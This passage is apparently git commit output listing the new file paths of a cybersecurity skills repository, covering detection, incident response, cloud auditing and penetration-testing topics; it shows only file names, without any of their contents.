skills/analyzing-web-server-logs-for-intrusion/scripts/agent.py create mode 100644 skills/analyzing-windows-event-logs-in-splunk/LICENSE create mode 100644 skills/analyzing-windows-event-logs-in-splunk/references/api-reference.md create mode 100644 skills/analyzing-windows-event-logs-in-splunk/scripts/agent.py create mode 100644 skills/analyzing-windows-lnk-files-for-artifacts/LICENSE create mode 100644 skills/analyzing-windows-lnk-files-for-artifacts/references/api-reference.md create mode 100644 skills/analyzing-windows-lnk-files-for-artifacts/scripts/agent.py create mode 100644 skills/analyzing-windows-registry-for-artifacts/LICENSE create mode 100644 skills/analyzing-windows-registry-for-artifacts/references/api-reference.md create mode 100644 skills/analyzing-windows-registry-for-artifacts/scripts/agent.py create mode 100644 skills/analyzing-windows-shellbag-artifacts/LICENSE create mode 100644 skills/auditing-aws-s3-bucket-permissions/LICENSE create mode 100644 skills/auditing-aws-s3-bucket-permissions/references/api-reference.md create mode 100644 skills/auditing-aws-s3-bucket-permissions/scripts/agent.py create mode 100644 skills/auditing-azure-active-directory-configuration/LICENSE create mode 100644 skills/auditing-azure-active-directory-configuration/references/api-reference.md create mode 100644 skills/auditing-azure-active-directory-configuration/scripts/agent.py create mode 100644 skills/auditing-cloud-with-cis-benchmarks/LICENSE create mode 100644 skills/auditing-cloud-with-cis-benchmarks/references/api-reference.md create mode 100644 skills/auditing-cloud-with-cis-benchmarks/scripts/agent.py create mode 100644 skills/auditing-gcp-iam-permissions/LICENSE create mode 100644 skills/auditing-gcp-iam-permissions/references/api-reference.md create mode 100644 skills/auditing-gcp-iam-permissions/scripts/agent.py create mode 100644 skills/auditing-kubernetes-cluster-rbac/LICENSE create mode 100644 skills/auditing-kubernetes-cluster-rbac/references/api-reference.md create mode 100644 skills/auditing-kubernetes-cluster-rbac/scripts/agent.py create mode 100644 skills/auditing-kubernetes-rbac-permissions/LICENSE create mode 100644 skills/auditing-terraform-infrastructure-for-security/LICENSE create mode 100644 skills/auditing-terraform-infrastructure-for-security/references/api-reference.md create mode 100644 skills/auditing-terraform-infrastructure-for-security/scripts/agent.py create mode 100644 skills/automating-ioc-enrichment/LICENSE create mode 100644 skills/automating-ioc-enrichment/references/api-reference.md create mode 100644 skills/automating-ioc-enrichment/scripts/agent.py create mode 100644 skills/building-adversary-infrastructure-tracking-system/LICENSE create mode 100644 skills/building-attack-pattern-library-from-cti-reports/LICENSE create mode 100644 skills/building-automated-malware-submission-pipeline/LICENSE create mode 100644 skills/building-automated-malware-submission-pipeline/references/api-reference.md create mode 100644 skills/building-automated-malware-submission-pipeline/scripts/agent.py create mode 100644 skills/building-c2-infrastructure-with-sliver-framework/LICENSE create mode 100644 skills/building-cloud-security-posture-management/LICENSE create mode 100644 skills/building-cloud-security-posture-management/references/api-reference.md create mode 100644 skills/building-cloud-security-posture-management/scripts/agent.py create mode 100644 skills/building-cloud-siem-with-sentinel/LICENSE create mode 100644 skills/building-cloud-siem-with-sentinel/references/api-reference.md create mode 100644 skills/building-cloud-siem-with-sentinel/scripts/agent.py create mode 100644 skills/building-detection-rule-with-splunk-spl/LICENSE create mode 100644 skills/building-detection-rules-with-sigma/LICENSE create mode 100644 skills/building-detection-rules-with-sigma/references/api-reference.md create mode 100644 skills/building-detection-rules-with-sigma/scripts/agent.py create mode 100644 skills/building-devsecops-pipeline-with-gitlab-ci/LICENSE create mode 100644 skills/building-identity-federation-with-saml-azure-ad/LICENSE create mode 100644 skills/building-identity-governance-lifecycle-process/LICENSE create mode 100644 skills/building-identity-governance-lifecycle-process/references/api-reference.md create mode 100644 skills/building-identity-governance-lifecycle-process/scripts/agent.py create mode 100644 skills/building-incident-response-dashboard/LICENSE create mode 100644 skills/building-incident-response-dashboard/references/api-reference.md create mode 100644 skills/building-incident-response-dashboard/scripts/agent.py create mode 100644 skills/building-incident-response-playbook/LICENSE create mode 100644 skills/building-incident-response-playbook/references/api-reference.md create mode 100644 skills/building-incident-response-playbook/scripts/agent.py create mode 100644 skills/building-incident-timeline-with-timesketch/LICENSE create mode 100644 skills/building-ioc-defanging-and-sharing-pipeline/LICENSE create mode 100644 skills/building-ioc-enrichment-pipeline-with-opencti/LICENSE create mode 100644 skills/building-malware-incident-communication-template/LICENSE create mode 100644 skills/building-patch-tuesday-response-process/LICENSE create mode 100644 skills/building-phishing-reporting-button-workflow/LICENSE create mode 100644 skills/building-red-team-c2-infrastructure-with-havoc/LICENSE create mode 100644 skills/building-role-mining-for-rbac-optimization/LICENSE create mode 100644 skills/building-soc-escalation-matrix/LICENSE create mode 100644 skills/building-soc-metrics-and-kpi-tracking/LICENSE create mode 100644 skills/building-soc-metrics-and-kpi-tracking/references/api-reference.md create mode 100644 skills/building-soc-metrics-and-kpi-tracking/scripts/agent.py create mode 100644 skills/building-soc-playbook-for-ransomware/LICENSE create mode 100644 skills/building-soc-playbook-for-ransomware/references/api-reference.md create mode 100644 skills/building-soc-playbook-for-ransomware/scripts/agent.py create mode 100644 skills/building-threat-actor-profile-from-osint/LICENSE create mode 100644 skills/building-threat-feed-aggregation-with-misp/LICENSE create mode 100644 skills/building-threat-hunt-hypothesis-framework/LICENSE create mode 100644 skills/building-threat-intelligence-enrichment-in-splunk/LICENSE create mode 100644 skills/building-threat-intelligence-feed-integration/LICENSE create mode 100644 skills/building-threat-intelligence-feed-integration/references/api-reference.md create mode 100644 skills/building-threat-intelligence-feed-integration/scripts/agent.py create mode 100644 skills/building-threat-intelligence-platform/LICENSE create mode 100644 skills/building-vulnerability-aging-and-sla-tracking/LICENSE create mode 100644 skills/building-vulnerability-dashboard-with-defectdojo/LICENSE create mode 100644 skills/building-vulnerability-exception-tracking-system/LICENSE create mode 100644 skills/building-vulnerability-scanning-workflow/LICENSE create mode 100644 skills/building-vulnerability-scanning-workflow/references/api-reference.md create mode 100644 skills/building-vulnerability-scanning-workflow/scripts/agent.py create mode 100644 skills/bypassing-authentication-with-forced-browsing/LICENSE create mode 100644 skills/bypassing-authentication-with-forced-browsing/references/api-reference.md create mode 100644 skills/bypassing-authentication-with-forced-browsing/scripts/agent.py create mode 100644 skills/collecting-indicators-of-compromise/LICENSE create mode 100644 skills/collecting-indicators-of-compromise/references/api-reference.md create mode 100644 skills/collecting-indicators-of-compromise/scripts/agent.py create mode 100644 skills/collecting-open-source-intelligence/LICENSE create mode 100644 skills/collecting-open-source-intelligence/references/api-reference.md create mode 100644 skills/collecting-open-source-intelligence/scripts/agent.py create mode 100644 skills/collecting-threat-intelligence-with-misp/LICENSE create mode 100644 skills/collecting-volatile-evidence-from-compromised-host/LICENSE create mode 100644 skills/conducting-api-security-testing/LICENSE create mode 100644 skills/conducting-api-security-testing/references/api-reference.md create mode 100644 skills/conducting-api-security-testing/scripts/agent.py create mode 100644 skills/conducting-cloud-incident-response/LICENSE create mode 100644 skills/conducting-cloud-incident-response/references/api-reference.md create mode 100644 skills/conducting-cloud-incident-response/scripts/agent.py create mode 100644 skills/conducting-cloud-infrastructure-penetration-test/LICENSE create mode 100644 skills/conducting-cloud-infrastructure-penetration-test/references/api-reference.md create mode 100644 skills/conducting-cloud-infrastructure-penetration-test/scripts/agent.py create mode 100644 skills/conducting-cloud-penetration-testing/LICENSE create mode 100644 skills/conducting-cloud-penetration-testing/references/api-reference.md create mode 100644 skills/conducting-cloud-penetration-testing/scripts/agent.py create mode 100644 skills/conducting-domain-persistence-with-dcsync/LICENSE create mode 100644 skills/conducting-domain-persistence-with-dcsync/references/api-reference.md create mode 100644 skills/conducting-domain-persistence-with-dcsync/scripts/agent.py create mode 100644 skills/conducting-external-reconnaissance-with-osint/LICENSE create mode 100644 skills/conducting-external-reconnaissance-with-osint/references/api-reference.md create mode 100644 skills/conducting-external-reconnaissance-with-osint/scripts/agent.py create mode 100644 skills/conducting-full-scope-red-team-engagement/LICENSE create mode 100644 skills/conducting-full-scope-red-team-engagement/references/api-reference.md create mode 100644 skills/conducting-full-scope-red-team-engagement/scripts/agent.py create mode 100644 skills/conducting-internal-network-penetration-test/LICENSE create mode 100644 skills/conducting-internal-network-penetration-test/references/api-reference.md create mode 100644 skills/conducting-internal-network-penetration-test/scripts/agent.py create mode 100644 skills/conducting-internal-reconnaissance-with-bloodhound-ce/LICENSE create mode 100644 skills/conducting-malware-incident-response/LICENSE create mode 100644 skills/conducting-malware-incident-response/references/api-reference.md create mode 100644 skills/conducting-malware-incident-response/scripts/agent.py create mode 100644 skills/conducting-man-in-the-middle-attack-simulation/LICENSE create mode 100644 skills/conducting-man-in-the-middle-attack-simulation/references/api-reference.md create mode 100644 skills/conducting-man-in-the-middle-attack-simulation/scripts/agent.py create mode 100644 skills/conducting-memory-forensics-with-volatility/LICENSE create mode 100644 skills/conducting-memory-forensics-with-volatility/references/api-reference.md create mode 100644 skills/conducting-memory-forensics-with-volatility/scripts/agent.py create mode 100644 skills/conducting-mobile-app-penetration-test/LICENSE create mode 100644 skills/conducting-mobile-app-penetration-test/references/api-reference.md create mode 100644 skills/conducting-mobile-app-penetration-test/scripts/agent.py create mode 100644 skills/conducting-mobile-application-penetration-test/LICENSE create mode 100644 skills/conducting-network-penetration-test/LICENSE create mode 100644 skills/conducting-network-penetration-test/references/api-reference.md create mode 100644 skills/conducting-network-penetration-test/scripts/agent.py create mode 100644 skills/conducting-pass-the-ticket-attack/LICENSE create mode 100644 skills/conducting-phishing-incident-response/LICENSE create mode 100644 skills/conducting-phishing-incident-response/references/api-reference.md create mode 100644 skills/conducting-phishing-incident-response/scripts/agent.py create mode 100644 skills/conducting-post-incident-lessons-learned/LICENSE create mode 100644 skills/conducting-social-engineering-penetration-test/LICENSE create mode 100644 skills/conducting-social-engineering-pretext-call/LICENSE create mode 100644 skills/conducting-spearphishing-simulation-campaign/LICENSE create mode 100644 skills/conducting-wireless-network-penetration-test/LICENSE create mode 100644 skills/conducting-wireless-network-penetration-test/references/api-reference.md create mode 100644 skills/conducting-wireless-network-penetration-test/scripts/agent.py create mode 100644 skills/configuring-active-directory-tiered-model/LICENSE create mode 100644 skills/configuring-aws-verified-access-for-ztna/LICENSE create mode 100644 skills/configuring-certificate-authority-with-openssl/LICENSE create mode 100644 skills/configuring-host-based-intrusion-detection/LICENSE create mode 100644 skills/configuring-hsm-for-key-storage/LICENSE create mode 100644 skills/configuring-identity-aware-proxy-with-google-iap/LICENSE create mode 100644 skills/configuring-ldap-security-hardening/LICENSE create mode 100644 skills/configuring-microsegmentation-for-zero-trust/LICENSE create mode 100644 skills/configuring-multi-factor-authentication-with-duo/LICENSE create mode 100644 skills/configuring-network-segmentation-with-vlans/LICENSE create mode 100644 skills/configuring-network-segmentation-with-vlans/references/api-reference.md create mode 100644 skills/configuring-network-segmentation-with-vlans/scripts/agent.py create mode 100644 skills/configuring-oauth2-authorization-flow/LICENSE create mode 100644 skills/configuring-pfsense-firewall-rules/LICENSE create mode 100644 skills/configuring-pfsense-firewall-rules/references/api-reference.md create mode 100644 skills/configuring-pfsense-firewall-rules/scripts/agent.py create mode 100644 skills/configuring-snort-ids-for-intrusion-detection/LICENSE create mode 100644 skills/configuring-snort-ids-for-intrusion-detection/references/api-reference.md create mode 100644 skills/configuring-snort-ids-for-intrusion-detection/scripts/agent.py create mode 100644 skills/configuring-suricata-for-network-monitoring/LICENSE create mode 100644 skills/configuring-suricata-for-network-monitoring/references/api-reference.md create mode 100644 skills/configuring-suricata-for-network-monitoring/scripts/agent.py create mode 100644 skills/configuring-tls-1-3-for-secure-communications/LICENSE create mode 100644 skills/configuring-windows-defender-advanced-settings/LICENSE create mode 100644 skills/configuring-windows-event-logging-for-detection/LICENSE create mode 100644 skills/configuring-zscaler-private-access-for-ztna/LICENSE create mode 100644 skills/containing-active-breach/LICENSE create mode 100644 skills/containing-active-breach/references/api-reference.md create mode 100644 skills/containing-active-breach/scripts/agent.py create mode 100644 skills/containing-active-security-breach/LICENSE create mode 100644 skills/correlating-security-events-in-qradar/LICENSE create mode 100644 skills/correlating-security-events-in-qradar/references/api-reference.md create mode 100644 skills/correlating-security-events-in-qradar/scripts/agent.py create mode 100644 skills/correlating-threat-campaigns/LICENSE create mode 100644 skills/correlating-threat-campaigns/references/api-reference.md create mode 100644 skills/correlating-threat-campaigns/scripts/agent.py create mode 100644 skills/deobfuscating-javascript-malware/LICENSE create mode 100644 skills/deobfuscating-javascript-malware/references/api-reference.md create mode 100644 skills/deobfuscating-javascript-malware/scripts/agent.py create mode 100644 skills/deobfuscating-powershell-obfuscated-malware/LICENSE create mode 100644 skills/deploying-cloudflare-access-for-zero-trust/LICENSE create mode 100644 skills/deploying-edr-agent-with-crowdstrike/LICENSE create mode 100644 skills/deploying-osquery-for-endpoint-monitoring/LICENSE create mode 100644 skills/deploying-palo-alto-prisma-access-zero-trust/LICENSE create mode 100644 skills/deploying-software-defined-perimeter/LICENSE create mode 100644 skills/deploying-tailscale-for-zero-trust-vpn/LICENSE create mode 100644 skills/detecting-anomalies-in-industrial-control-systems/LICENSE create mode 100644 skills/detecting-anomalous-authentication-patterns/LICENSE create mode 100644 skills/detecting-anomalous-authentication-patterns/references/api-reference.md create mode 100644 skills/detecting-anomalous-authentication-patterns/scripts/agent.py create mode 100644 skills/detecting-api-enumeration-attacks/LICENSE create mode 100644 skills/detecting-arp-poisoning-in-network-traffic/LICENSE create mode 100644 skills/detecting-attacks-on-historian-servers/LICENSE create mode 100644 skills/detecting-attacks-on-scada-systems/LICENSE create mode 100644 skills/detecting-aws-credential-exposure-with-trufflehog/LICENSE create mode 100644 skills/detecting-aws-credential-exposure-with-trufflehog/references/api-reference.md create mode 100644 skills/detecting-aws-credential-exposure-with-trufflehog/scripts/agent.py create mode 100644 skills/detecting-aws-guardduty-findings-automation/LICENSE create mode 100644 skills/detecting-azure-service-principal-abuse/LICENSE create mode 100644 skills/detecting-beaconing-patterns-with-zeek/LICENSE create mode 100644 skills/detecting-beaconing-patterns-with-zeek/SKILL.md create mode 100644 skills/detecting-beaconing-patterns-with-zeek/references/api-reference.md create mode 100644 skills/detecting-beaconing-patterns-with-zeek/scripts/agent.py create mode 100644 skills/detecting-broken-object-property-level-authorization/LICENSE create mode 100644 skills/detecting-broken-object-property-level-authorization/references/api-reference.md create mode 100644 skills/detecting-broken-object-property-level-authorization/scripts/agent.py create mode 100644 skills/detecting-business-email-compromise-with-ai/LICENSE create mode 100644 skills/detecting-business-email-compromise-with-ai/references/api-reference.md create mode 100644 skills/detecting-business-email-compromise-with-ai/scripts/agent.py create mode 100644 skills/detecting-business-email-compromise/LICENSE create mode 100644 skills/detecting-business-email-compromise/references/api-reference.md create mode 100644 skills/detecting-business-email-compromise/scripts/agent.py create mode 100644 skills/detecting-cloud-cryptomining-activity/LICENSE create mode 100644 skills/detecting-cloud-cryptomining-activity/references/api-reference.md create mode 100644 skills/detecting-cloud-cryptomining-activity/scripts/agent.py create mode 100644 skills/detecting-cloud-threats-with-guardduty/LICENSE create mode 100644 skills/detecting-cloud-threats-with-guardduty/references/api-reference.md create mode 100644 skills/detecting-cloud-threats-with-guardduty/scripts/agent.py create mode 100644 skills/detecting-compromised-cloud-credentials/LICENSE create mode 100644 skills/detecting-compromised-cloud-credentials/references/api-reference.md create mode 100644 skills/detecting-compromised-cloud-credentials/scripts/agent.py create mode 100644 skills/detecting-container-drift-at-runtime/LICENSE create mode 100644 skills/detecting-container-drift-at-runtime/references/api-reference.md create mode 100644 skills/detecting-container-drift-at-runtime/scripts/agent.py create mode 100644 skills/detecting-container-escape-attempts/LICENSE create mode 100644 skills/detecting-container-escape-attempts/references/api-reference.md create mode 100644 skills/detecting-container-escape-attempts/scripts/agent.py create mode 100644 skills/detecting-container-escape-with-falco-rules/LICENSE create mode 100644 skills/detecting-container-escape-with-falco-rules/references/api-reference.md create mode 100644 skills/detecting-container-escape-with-falco-rules/scripts/agent.py create mode 100644 skills/detecting-credential-dumping-with-edr/LICENSE create mode 100644 skills/detecting-credential-dumping-with-edr/references/api-reference.md create mode 100644 skills/detecting-credential-dumping-with-edr/scripts/agent.py create mode 100644 skills/detecting-cryptomining-in-cloud/LICENSE create mode 100644 skills/detecting-cryptomining-in-cloud/references/api-reference.md create mode 100644 skills/detecting-cryptomining-in-cloud/scripts/agent.py create mode 100644 skills/detecting-dcsync-attack-in-active-directory/LICENSE create mode 100644 skills/detecting-dcsync-attack-in-active-directory/references/api-reference.md create mode 100644 skills/detecting-dcsync-attack-in-active-directory/scripts/agent.py create mode 100644 skills/detecting-dll-sideloading-attacks/LICENSE create mode 100644 skills/detecting-dll-sideloading-attacks/references/api-reference.md create mode 100644 skills/detecting-dll-sideloading-attacks/scripts/agent.py create mode 100644 skills/detecting-dnp3-protocol-anomalies/LICENSE create mode 100644 skills/detecting-dnp3-protocol-anomalies/references/api-reference.md create mode 100644 skills/detecting-dnp3-protocol-anomalies/scripts/agent.py create mode 100644 skills/detecting-dns-exfiltration-with-dns-query-analysis/LICENSE create mode 100644 skills/detecting-dns-exfiltration-with-dns-query-analysis/references/api-reference.md create mode 100644 skills/detecting-dns-exfiltration-with-dns-query-analysis/scripts/agent.py create mode 100644 skills/detecting-email-forwarding-rules-attack/LICENSE create mode 100644 skills/detecting-email-forwarding-rules-attack/references/api-reference.md create mode 100644 skills/detecting-email-forwarding-rules-attack/scripts/agent.py create mode 100644 skills/detecting-evasion-techniques-in-endpoint-logs/LICENSE create mode 100644 skills/detecting-evasion-techniques-in-endpoint-logs/references/api-reference.md create mode 100644 skills/detecting-evasion-techniques-in-endpoint-logs/scripts/agent.py create mode 100644 skills/detecting-fileless-attacks-on-endpoints/LICENSE create mode 100644 skills/detecting-fileless-attacks-on-endpoints/references/api-reference.md create mode 100644 skills/detecting-fileless-attacks-on-endpoints/scripts/agent.py create mode 100644 skills/detecting-fileless-malware-techniques/LICENSE create mode 100644 skills/detecting-fileless-malware-techniques/references/api-reference.md create mode 100644 skills/detecting-fileless-malware-techniques/scripts/agent.py create mode 100644 skills/detecting-golden-ticket-attacks-in-kerberos-logs/LICENSE create mode 100644 skills/detecting-golden-ticket-attacks-in-kerberos-logs/references/api-reference.md create mode 100644 skills/detecting-golden-ticket-attacks-in-kerberos-logs/scripts/agent.py create mode 100644 skills/detecting-golden-ticket-attacks/LICENSE create mode 100644 skills/detecting-golden-ticket-attacks/SKILL.md create mode 100644 skills/detecting-golden-ticket-attacks/references/api-reference.md create mode 100644 skills/detecting-golden-ticket-attacks/scripts/agent.py create mode 100644 skills/detecting-insider-data-exfiltration-via-dlp/LICENSE create mode 100644 skills/detecting-insider-data-exfiltration-via-dlp/SKILL.md create mode 100644 skills/detecting-insider-data-exfiltration-via-dlp/references/api-reference.md create mode 100644 skills/detecting-insider-data-exfiltration-via-dlp/scripts/agent.py create mode 100644 skills/detecting-insider-threat-behaviors/LICENSE create mode 100644 skills/detecting-insider-threat-behaviors/references/api-reference.md create mode 100644 skills/detecting-insider-threat-behaviors/scripts/agent.py create mode 100644 skills/detecting-kerberoasting-attacks/LICENSE create mode 100644 skills/detecting-kerberoasting-attacks/references/api-reference.md create mode 100644 skills/detecting-kerberoasting-attacks/scripts/agent.py create mode 100644 skills/detecting-lateral-movement-in-network/LICENSE create mode 100644 skills/detecting-lateral-movement-in-network/references/api-reference.md create mode 100644 skills/detecting-lateral-movement-in-network/scripts/agent.py create mode 100644 skills/detecting-lateral-movement-with-splunk/LICENSE create mode 100644 skills/detecting-lateral-movement-with-splunk/references/api-reference.md create mode 100644 skills/detecting-lateral-movement-with-splunk/scripts/agent.py create mode 100644 skills/detecting-mimikatz-execution-patterns/LICENSE create mode 100644 skills/detecting-mimikatz-execution-patterns/references/api-reference.md create mode 100644 skills/detecting-mimikatz-execution-patterns/scripts/agent.py create mode 100644 skills/detecting-misconfigured-azure-storage/LICENSE create mode 100644 skills/detecting-misconfigured-azure-storage/references/api-reference.md create mode 100644 skills/detecting-misconfigured-azure-storage/scripts/agent.py create mode 100644 skills/detecting-mobile-malware-behavior/LICENSE create mode 100644 skills/detecting-mobile-malware-behavior/references/api-reference.md create mode 100644 skills/detecting-mobile-malware-behavior/scripts/agent.py create mode 100644 skills/detecting-modbus-command-injection-attacks/LICENSE create mode 100644 skills/detecting-modbus-command-injection-attacks/references/api-reference.md create mode 100644 skills/detecting-modbus-command-injection-attacks/scripts/agent.py create mode 100644 skills/detecting-modbus-protocol-anomalies/LICENSE create mode 100644 skills/detecting-modbus-protocol-anomalies/references/api-reference.md create mode 100644 skills/detecting-modbus-protocol-anomalies/scripts/agent.py create mode 100644 skills/detecting-network-anomalies-with-zeek/LICENSE create mode 100644 skills/detecting-network-anomalies-with-zeek/references/api-reference.md create mode 100644 skills/detecting-network-anomalies-with-zeek/scripts/agent.py create mode 100644 skills/detecting-network-scanning-with-ids-signatures/LICENSE create mode 100644 skills/detecting-network-scanning-with-ids-signatures/references/api-reference.md create mode 100644 skills/detecting-network-scanning-with-ids-signatures/scripts/agent.py create mode 100644 skills/detecting-pass-the-hash-attacks/LICENSE create mode 100644 skills/detecting-pass-the-hash-attacks/references/api-reference.md create mode 100644 skills/detecting-pass-the-hash-attacks/scripts/agent.py create mode 100644 skills/detecting-port-scanning-with-fail2ban/LICENSE create mode 100644 skills/detecting-port-scanning-with-fail2ban/references/api-reference.md create mode 100644 skills/detecting-port-scanning-with-fail2ban/scripts/agent.py create mode 100644 skills/detecting-privilege-escalation-attempts/LICENSE create mode 100644 skills/detecting-privilege-escalation-attempts/references/api-reference.md create mode 100644 skills/detecting-privilege-escalation-attempts/scripts/agent.py create mode 100644 skills/detecting-privilege-escalation-in-kubernetes-pods/LICENSE create mode 100644 skills/detecting-privilege-escalation-in-kubernetes-pods/references/api-reference.md create mode 100644 skills/detecting-privilege-escalation-in-kubernetes-pods/scripts/agent.py create mode 100644 skills/detecting-process-hollowing-technique/LICENSE create mode 100644 skills/detecting-process-hollowing-technique/references/api-reference.md create mode 100644 skills/detecting-process-hollowing-technique/scripts/agent.py create mode 100644 skills/detecting-process-injection-techniques/LICENSE create mode 100644 skills/detecting-process-injection-techniques/references/api-reference.md create mode 100644 skills/detecting-process-injection-techniques/scripts/agent.py create mode 100644 skills/detecting-qr-code-phishing-with-email-security/LICENSE create mode 100644 skills/detecting-qr-code-phishing-with-email-security/references/api-reference.md create mode 100644 skills/detecting-qr-code-phishing-with-email-security/scripts/agent.py create mode 100644 skills/detecting-ransomware-precursors-in-network/LICENSE create mode 100644 skills/detecting-ransomware-precursors-in-network/references/api-reference.md create mode 100644 skills/detecting-ransomware-precursors-in-network/scripts/agent.py create mode 100644 skills/detecting-rootkit-activity/LICENSE create mode 100644 skills/detecting-rootkit-activity/references/api-reference.md create mode 100644 skills/detecting-rootkit-activity/scripts/agent.py create mode 100644 skills/detecting-s3-data-exfiltration-attempts/LICENSE create mode 100644 skills/detecting-s3-data-exfiltration-attempts/references/api-reference.md create mode 100644 skills/detecting-s3-data-exfiltration-attempts/scripts/agent.py create mode 100644 skills/detecting-service-account-abuse/LICENSE create mode 100644 skills/detecting-service-account-abuse/references/api-reference.md create mode 100644 skills/detecting-service-account-abuse/scripts/agent.py create mode 100644 skills/detecting-shadow-api-endpoints/LICENSE create mode 100644 skills/detecting-shadow-api-endpoints/references/api-reference.md create mode 100644 skills/detecting-shadow-api-endpoints/scripts/agent.py create mode 100644 skills/detecting-spearphishing-with-email-gateway/LICENSE create mode 100644 skills/detecting-spearphishing-with-email-gateway/references/api-reference.md create mode 100644 skills/detecting-spearphishing-with-email-gateway/scripts/agent.py create mode 100644 skills/detecting-sql-injection-via-waf-logs/LICENSE create mode 100644 skills/detecting-sql-injection-via-waf-logs/SKILL.md create mode 100644 skills/detecting-sql-injection-via-waf-logs/references/api-reference.md create mode 100644 skills/detecting-sql-injection-via-waf-logs/scripts/agent.py create mode 100644 skills/detecting-stuxnet-style-attacks/LICENSE create mode 100644 skills/detecting-supply-chain-attacks-in-ci-cd/LICENSE create mode 100644 skills/detecting-supply-chain-attacks-in-ci-cd/SKILL.md create mode 100644 skills/detecting-supply-chain-attacks-in-ci-cd/references/api-reference.md create mode 100644 skills/detecting-supply-chain-attacks-in-ci-cd/scripts/agent.py create mode 100644 skills/detecting-suspicious-powershell-execution/LICENSE create mode 100644 skills/detecting-t1003-credential-dumping-with-edr/LICENSE create mode 100644 skills/detecting-t1055-process-injection-with-sysmon/LICENSE create mode 100644 skills/detecting-t1548-abuse-elevation-control-mechanism/LICENSE create mode 100644 skills/eradicating-malware-from-infected-systems/LICENSE create mode 100644 skills/evaluating-threat-intelligence-platforms/LICENSE create mode 100644 skills/evaluating-threat-intelligence-platforms/references/api-reference.md create mode 100644 skills/evaluating-threat-intelligence-platforms/scripts/agent.py create mode 100644 skills/executing-active-directory-attack-simulation/LICENSE create mode 100644 skills/executing-active-directory-attack-simulation/references/api-reference.md create mode 100644 skills/executing-active-directory-attack-simulation/scripts/agent.py create mode 100644 skills/executing-diamond-model-analysis/LICENSE create mode 100644 skills/executing-diamond-model-analysis/references/api-reference.md create mode 100644 skills/executing-diamond-model-analysis/scripts/agent.py create mode 100644 skills/executing-phishing-simulation-campaign/LICENSE create mode 100644 skills/executing-phishing-simulation-campaign/references/api-reference.md create mode 100644 skills/executing-phishing-simulation-campaign/scripts/agent.py create mode 100644 skills/executing-red-team-engagement-planning/LICENSE create mode 100644 skills/executing-red-team-exercise/LICENSE create mode 100644 skills/executing-red-team-exercise/references/api-reference.md create mode 100644 skills/executing-red-team-exercise/scripts/agent.py create mode 100644 skills/exploiting-active-directory-certificate-services-esc1/LICENSE create mode 100644 skills/exploiting-active-directory-with-bloodhound/LICENSE create mode 100644 skills/exploiting-api-injection-vulnerabilities/LICENSE create mode 100644 skills/exploiting-bgp-hijacking-vulnerabilities/LICENSE create mode 100644 skills/exploiting-bgp-hijacking-vulnerabilities/references/api-reference.md create mode 100644 skills/exploiting-bgp-hijacking-vulnerabilities/scripts/agent.py create mode 100644 skills/exploiting-broken-function-level-authorization/LICENSE create mode 100644 skills/exploiting-broken-link-hijacking/LICENSE create mode 100644 skills/exploiting-constrained-delegation-abuse/LICENSE create mode 100644 skills/exploiting-deeplink-vulnerabilities/LICENSE create mode 100644 skills/exploiting-excessive-data-exposure-in-api/LICENSE create mode 100644 skills/exploiting-http-request-smuggling/LICENSE create mode 100644 skills/exploiting-http-request-smuggling/references/api-reference.md create mode 100644 skills/exploiting-http-request-smuggling/scripts/agent.py create mode 100644 skills/exploiting-idor-vulnerabilities/LICENSE create mode 100644 skills/exploiting-idor-vulnerabilities/references/api-reference.md create mode 100644 skills/exploiting-idor-vulnerabilities/scripts/agent.py create mode 100644 skills/exploiting-insecure-data-storage-in-mobile/LICENSE create mode 100644 skills/exploiting-insecure-deserialization/LICENSE create mode 100644 skills/exploiting-insecure-deserialization/references/api-reference.md create mode 100644 skills/exploiting-insecure-deserialization/scripts/agent.py create mode 100644 skills/exploiting-ipv6-vulnerabilities/LICENSE create mode 100644 skills/exploiting-ipv6-vulnerabilities/references/api-reference.md create mode 100644 skills/exploiting-ipv6-vulnerabilities/scripts/agent.py create mode 100644 skills/exploiting-jwt-algorithm-confusion-attack/LICENSE create mode 100644 skills/exploiting-kerberoasting-with-impacket/LICENSE create mode 100644 skills/exploiting-mass-assignment-in-rest-apis/LICENSE create mode 100644 skills/exploiting-ms17-010-eternalblue-vulnerability/LICENSE create mode 100644 skills/exploiting-nopac-cve-2021-42278-42287/LICENSE create mode 100644 skills/exploiting-nosql-injection-vulnerabilities/LICENSE create mode 100644 skills/exploiting-oauth-misconfiguration/LICENSE create mode 100644 skills/exploiting-oauth-misconfiguration/references/api-reference.md create mode 100644 skills/exploiting-oauth-misconfiguration/scripts/agent.py create mode 100644 skills/exploiting-prototype-pollution-in-javascript/LICENSE create mode 100644 skills/exploiting-race-condition-vulnerabilities/LICENSE create mode 100644 skills/exploiting-server-side-request-forgery/LICENSE create mode 100644 skills/exploiting-server-side-request-forgery/references/api-reference.md create mode 100644 skills/exploiting-server-side-request-forgery/scripts/agent.py create mode 100644 skills/exploiting-smb-vulnerabilities-with-metasploit/LICENSE create mode 100644 skills/exploiting-smb-vulnerabilities-with-metasploit/references/api-reference.md create mode 100644 skills/exploiting-smb-vulnerabilities-with-metasploit/scripts/agent.py create mode 100644 skills/exploiting-sql-injection-vulnerabilities/LICENSE create mode 100644 skills/exploiting-sql-injection-vulnerabilities/references/api-reference.md create mode 100644 skills/exploiting-sql-injection-vulnerabilities/scripts/agent.py create mode 100644 skills/exploiting-sql-injection-with-sqlmap/LICENSE create mode 100644 skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md create mode 100644 skills/exploiting-sql-injection-with-sqlmap/scripts/agent.py create mode 100644 skills/exploiting-template-injection-vulnerabilities/LICENSE create mode 100644 skills/exploiting-template-injection-vulnerabilities/references/api-reference.md create mode 100644 skills/exploiting-template-injection-vulnerabilities/scripts/agent.py create mode 100644 skills/exploiting-type-juggling-vulnerabilities/LICENSE create mode 100644 skills/exploiting-vulnerabilities-with-metasploit-framework/LICENSE create mode 100644 skills/exploiting-websocket-vulnerabilities/LICENSE create mode 100644 skills/exploiting-websocket-vulnerabilities/references/api-reference.md create mode 100644 skills/exploiting-websocket-vulnerabilities/scripts/agent.py create mode 100644 skills/exploiting-zerologon-vulnerability-cve-2020-1472/LICENSE create mode 100644 skills/extracting-browser-history-artifacts/LICENSE create mode 100644 skills/extracting-browser-history-artifacts/references/api-reference.md create mode 100644 skills/extracting-browser-history-artifacts/scripts/agent.py create mode 100644 skills/extracting-config-from-agent-tesla-rat/LICENSE create mode 100644 skills/extracting-credentials-from-memory-dump/LICENSE create mode 100644 skills/extracting-credentials-from-memory-dump/references/api-reference.md create mode 100644 skills/extracting-credentials-from-memory-dump/scripts/agent.py create mode 100644 skills/extracting-iocs-from-malware-samples/LICENSE create mode 100644 